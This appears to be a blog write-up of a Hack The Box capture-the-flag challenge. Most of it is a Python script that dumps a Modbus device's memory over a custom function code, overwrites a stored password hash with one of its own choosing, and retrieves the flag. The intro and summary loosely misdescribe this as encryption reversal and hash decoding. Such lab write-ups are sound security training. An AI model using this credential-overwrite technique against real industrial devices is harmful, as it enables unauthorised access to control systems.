HackTheBox Sneak peek Writeup
Explore the basics of cybersecurity in the Sneak peek Challenge on Hack The Box. This easy-level Challenge introduces encryption reversal and file handling concepts in a clear and accessible way, perfect for beginners.
1
2
3
python3.9 -m venv venv
source venv/bin/activate
pip install pymodbus==3.5.4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
from pymodbus.pdu import ModbusRequest, ModbusResponse
from pymodbus.transaction import ModbusSocketFramer
from pymodbus.client import ModbusTcpClient
import hashlib
import logging
import struct
import time
import sys
logging.basicConfig()
logging.getLogger().setLevel(logging.ERROR)
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <ip:port>")
sys.exit(1)
HOST_IP,HOST_PORT = sys.argv[1].split(':')
CUSTOM_FUNCTION_CODE = 0x64
SESSION = 0x00
ERROR_CODES = { 0xE009: 'Authorization Error: Invalid password' }
READ_MEMORY_BLOCK = 0x20
WRITE_MEMORY_BLOCK = 0x21
GET_SECRET = 0x22
class CustomProtocolRequest(ModbusRequest):
function_code = 0x64
def __init__(self, session= 0x00, code= 0, data=None, **kwargs):
super().__init__(**kwargs)
self.session = session
self.code = code
self.data = data if data is not None else []
def encode(self):
data_format = '>BB' + 'B' * len(self.data)
return struct.pack(data_format, self.session, self.code, *self.data)
def decode(self, data):
print('[!] Request decode is not required for client!')
class CustomProtocolResponse(ModbusResponse):
function_code = 0x64
def __init__(self, session= 0x00, code= 0x00, response_code= 0x00 , data= None, **kwargs):
super().__init__(**kwargs)
self.session = session
self.code = code
self.data = data if data is not None else []
self.response_status = False
def encode(self):
print('[!] Response encode is not required for client!')
def decode(self, data):
self.session, self.code, self.response_status = struct.unpack('>BBB', data[:3])
self.data = list(struct.unpack('>' + 'B' * (len(data) - 3), data[3:]))
global SESSION
SESSION = self.session
def send_custom_protocol_request(client, session, code, data):
request = CustomProtocolRequest(session=session, code=code, data=data)
response = client.execute(request)
if response.function_code < 0x80:
return response.code, response.response_status, response.data
else:
print("Error response:", response)
return -1, -1, -1
def send_packet(client, SESSION, CUSTOM_CODE, DATA=[]):
if client.connect():
print("Connected to the server")
code, status, data = send_custom_protocol_request(client, session= SESSION, code=CUSTOM_CODE, data=DATA)
if len(data) == 2:
hex_number = (lambda x: (x[0] << 8) + x[1])(data)
if hex_number in ERROR_CODES:
print(f'ERROR: {ERROR_CODES[hex_number]}')
else:
print("Failed to connect to the server")
return code, status, data
def increment_address(address, increment):
address_int = (address[0] << 16) + (address[1] << 8) + address[2]
address_int += increment
return [(address_int >> 16) & 0xFF, (address_int >> 8) & 0xFF, address_int & 0xFF]
def split_list_at_value(input_list, split_value):
result = []
sublist = []
for item in input_list:
if item == split_value:
if sublist:
result.append(sublist)
sublist = []
else:
sublist.append(item)
if sublist:
if not all(x == 0xFF for x in sublist):
result.append(sublist)
return result
def find_sublist_index(main_list, sublist):
sublist_len = len(sublist)
for i in range(len(main_list) - sublist_len + 1):
if main_list[i:i + sublist_len] == sublist:
return i
return -1
def string_to_list_of_ints(input_string):
int_list = [ord(char) for char in input_string]
return int_list
def int_to_3_byte_list(value):
return [(value >> 16) & 0xFF, (value >> 8) & 0xFF, value & 0xFF]
if __name__ == "__main__":
client = ModbusTcpClient(HOST_IP, port=HOST_PORT, framer=ModbusSocketFramer)
client.framer.decoder.register(CustomProtocolResponse)
address = [0x00, 0x00, 0x00]
read_length = 0xFF
memory_block_data = []
for i in range(0, 64): # 64 * 256 == 16 * 1024
data = address + [read_length]
code, status, data = send_packet(client, SESSION, READ_MEMORY_BLOCK, data)
if all(byte == 0xFF for byte in data):
print("All bytes are 0xFF, exiting loop.")
break
memory_block_data += data
address = increment_address(address, read_length)
split_value = 0x00
memory_block_entries = split_list_at_value(memory_block_data, split_value)
hash_entry = []
for entry in memory_block_entries:
if len(entry) >= 16:
print(entry)
hash_entry += entry
hash_entry_index = find_sublist_index(memory_block_data, hash_entry)
print(hash_entry_index)
passowrd = 'new_password'
password_list = string_to_list_of_ints(passowrd)
hash_object = hashlib.md5()
hash_object.update(passowrd.encode())
hashed_value = hash_object.digest()
hashed_value_list = list(hashed_value)
for increment in range(0, 16):
address = int_to_3_byte_list(hash_entry_index+increment)
print(f'Trying address {address}')
code, status, data = send_packet(client, SESSION, 0x21, address + hashed_value_list)
print(code, status, data)
code, status, data = send_packet(client, SESSION, 0x22, password_list)
print(code, status, data)
if len(data) > 2:
print('Found correct hash address!')
flag = ""
for char in data:
flag += chr(char)
print('FLAG', flag)
Summary
The Sneak Peek Challenge on Hack The Box focuses on custom Modbus protocol manipulation and memory forensics. It involves reverse engineering, hash decoding, and memory traversal using Python, offering a hands-on approach to hardware-level communication and encryption reversal. Perfect for sharpening cybersecurity and scripting skills.
This post is licensed under CC BY 4.0 by the author.